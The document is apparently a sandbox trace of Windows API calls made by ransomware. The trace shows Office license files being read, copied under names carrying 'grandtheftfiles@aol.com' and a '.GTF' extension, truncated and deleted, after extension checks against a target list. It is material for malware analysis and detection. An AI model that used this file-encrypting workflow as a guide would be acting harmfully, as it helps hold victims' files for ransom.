	[0172.079] lstrlenW (lpString=".1cd") returned 4
	[0172.079] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0172.079] lstrlenW (lpString=".jpg") returned 4
	[0172.079] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.079] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0172.080] lstrlenW (lpString="HomeBusinessR_Grace-ul-oob.xrm-ms") returned 33
	[0172.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0172.084] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11624) returned 1
	[0172.084] CloseHandle (hObject=0x3e0) returned 1
	[0172.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 0x220
	[0172.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0172.085] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.085] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0172.087] GetLastError () returned 0x0
	[0172.087] ReadFile (in: hFile=0x3e0, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d68, lpOverlapped=0x0) returned 1
	[0172.092] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0172.093] ReadFile (in: hFile=0x3e0, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.093] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x116, lpOverlapped=0x0) returned 1
	[0172.093] SetEndOfFile (hFile=0x45c) returned 1
	[0172.094] CloseHandle (hObject=0x45c) returned 1
	[0172.094] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.094] SetEndOfFile (hFile=0x3e0) returned 1
	[0172.364] CloseHandle (hObject=0x3e0) returned 1
	[0172.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 1
	[0172.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.365] lstrlenW (lpString=".doc") returned 4
	[0172.365] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.365] lstrlenW (lpString=".docx") returned 5
	[0172.365] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.365] lstrlenW (lpString=".pdf") returned 4
	[0172.365] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.365] lstrlenW (lpString=".xls") returned 4
	[0172.365] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.365] lstrlenW (lpString=".xlsx") returned 5
	[0172.365] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.365] lstrlenW (lpString=".ppt") returned 4
	[0172.365] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.365] lstrlenW (lpString=".zip") returned 4
	[0172.365] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.366] lstrlenW (lpString=".rar") returned 4
	[0172.366] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.366] lstrlenW (lpString=".bz2") returned 4
	[0172.366] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.366] lstrlenW (lpString=".7z") returned 3
	[0172.366] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.366] lstrlenW (lpString=".dbf") returned 4
	[0172.366] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.366] lstrlenW (lpString=".1cd") returned 4
	[0172.366] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.366] lstrlenW (lpString=".jpg") returned 4
	[0172.366] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.366] lstrlenW (lpString=".doc") returned 4
	[0172.366] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.366] lstrlenW (lpString=".docx") returned 5
	[0172.366] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.366] lstrlenW (lpString=".pdf") returned 4
	[0172.366] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.366] lstrlenW (lpString=".xls") returned 4
	[0172.366] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.366] lstrlenW (lpString=".xlsx") returned 5
	[0172.366] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.366] lstrlenW (lpString=".ppt") returned 4
	[0172.366] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.366] lstrlenW (lpString=".zip") returned 4
	[0172.366] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.366] lstrlenW (lpString=".rar") returned 4
	[0172.367] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.367] lstrlenW (lpString=".bz2") returned 4
	[0172.367] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.367] lstrlenW (lpString=".7z") returned 3
	[0172.367] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.367] lstrlenW (lpString=".dbf") returned 4
	[0172.367] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.367] lstrlenW (lpString=".1cd") returned 4
	[0172.367] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.367] lstrlenW (lpString=".jpg") returned 4
	[0172.367] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.367] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0172.367] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 34
	[0172.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0172.368] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=22094) returned 1
	[0172.368] CloseHandle (hObject=0x3e0) returned 1
	[0172.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 0x220
	[0172.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0172.368] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.369] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0172.369] GetLastError () returned 0x0
	[0172.369] ReadFile (in: hFile=0x3e0, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x564e, lpOverlapped=0x0) returned 1
	[0172.372] WriteFile (in: hFile=0x550, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5650, lpOverlapped=0x0) returned 1
	[0172.373] ReadFile (in: hFile=0x3e0, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.373] WriteFile (in: hFile=0x550, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x118, lpOverlapped=0x0) returned 1
	[0172.373] SetEndOfFile (hFile=0x550) returned 1
	[0172.374] CloseHandle (hObject=0x550) returned 1
	[0172.374] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.374] SetEndOfFile (hFile=0x3e0) returned 1
	[0172.377] CloseHandle (hObject=0x3e0) returned 1
	[0172.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 1
	[0172.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0172.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0172.378] lstrlenW (lpString=".doc") returned 4
	[0172.378] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.378] lstrlenW (lpString=".docx") returned 5
	[0172.378] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.378] lstrlenW (lpString=".pdf") returned 4
	[0172.378] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.378] lstrlenW (lpString=".xls") returned 4
	[0172.379] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.379] lstrlenW (lpString=".xlsx") returned 5
	[0172.379] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.379] lstrlenW (lpString=".ppt") returned 4
	[0172.379] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0172.379] lstrlenW (lpString=".zip") returned 4
	[0172.379] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.379] lstrlenW (lpString=".rar") returned 4
	[0172.379] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.379] lstrlenW (lpString=".bz2") returned 4
	[0172.379] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.379] lstrlenW (lpString=".7z") returned 3
	[0172.379] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0172.379] lstrlenW (lpString=".dbf") returned 4
	[0172.379] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0172.379] lstrlenW (lpString=".1cd") returned 4
	[0172.379] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0172.379] lstrlenW (lpString=".jpg") returned 4
	[0172.379] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0172.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0172.379] lstrlenW (lpString=".doc") returned 4
	[0172.380] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.380] lstrlenW (lpString=".docx") returned 5
	[0172.380] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.380] lstrlenW (lpString=".pdf") returned 4
	[0172.380] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.380] lstrlenW (lpString=".xls") returned 4
	[0172.380] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.380] lstrlenW (lpString=".xlsx") returned 5
	[0172.380] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.380] lstrlenW (lpString=".ppt") returned 4
	[0172.380] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0172.380] lstrlenW (lpString=".zip") returned 4
	[0172.380] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.380] lstrlenW (lpString=".rar") returned 4
	[0172.380] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.380] lstrlenW (lpString=".bz2") returned 4
	[0172.380] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.380] lstrlenW (lpString=".7z") returned 3
	[0172.380] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0172.381] lstrlenW (lpString=".dbf") returned 4
	[0172.381] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0172.381] lstrlenW (lpString=".1cd") returned 4
	[0172.381] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0172.381] lstrlenW (lpString=".jpg") returned 4
	[0172.381] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.381] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0172.381] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 37
	[0172.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0172.382] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11621) returned 1
	[0172.382] CloseHandle (hObject=0x3e0) returned 1
	[0172.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 0x220
	[0172.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0172.383] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.383] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0172.384] GetLastError () returned 0x0
	[0172.385] ReadFile (in: hFile=0x3e0, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0172.387] WriteFile (in: hFile=0x550, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0172.389] ReadFile (in: hFile=0x3e0, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.389] WriteFile (in: hFile=0x550, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0172.389] SetEndOfFile (hFile=0x550) returned 1
	[0172.391] CloseHandle (hObject=0x550) returned 1
	[0172.391] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.391] SetEndOfFile (hFile=0x3e0) returned 1
	[0172.395] CloseHandle (hObject=0x3e0) returned 1
	[0172.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.396] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 1
	[0172.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0172.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0172.397] lstrlenW (lpString=".doc") returned 4
	[0172.397] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.397] lstrlenW (lpString=".docx") returned 5
	[0172.397] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.397] lstrlenW (lpString=".pdf") returned 4
	[0172.397] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.397] lstrlenW (lpString=".xls") returned 4
	[0172.397] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.397] lstrlenW (lpString=".xlsx") returned 5
	[0172.397] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.397] lstrlenW (lpString=".ppt") returned 4
	[0172.397] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0172.398] lstrlenW (lpString=".zip") returned 4
	[0172.398] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.398] lstrlenW (lpString=".rar") returned 4
	[0172.398] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.398] lstrlenW (lpString=".bz2") returned 4
	[0172.398] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.398] lstrlenW (lpString=".7z") returned 3
	[0172.398] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0172.398] lstrlenW (lpString=".dbf") returned 4
	[0172.398] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0172.398] lstrlenW (lpString=".1cd") returned 4
	[0172.398] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0172.398] lstrlenW (lpString=".jpg") returned 4
	[0172.398] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
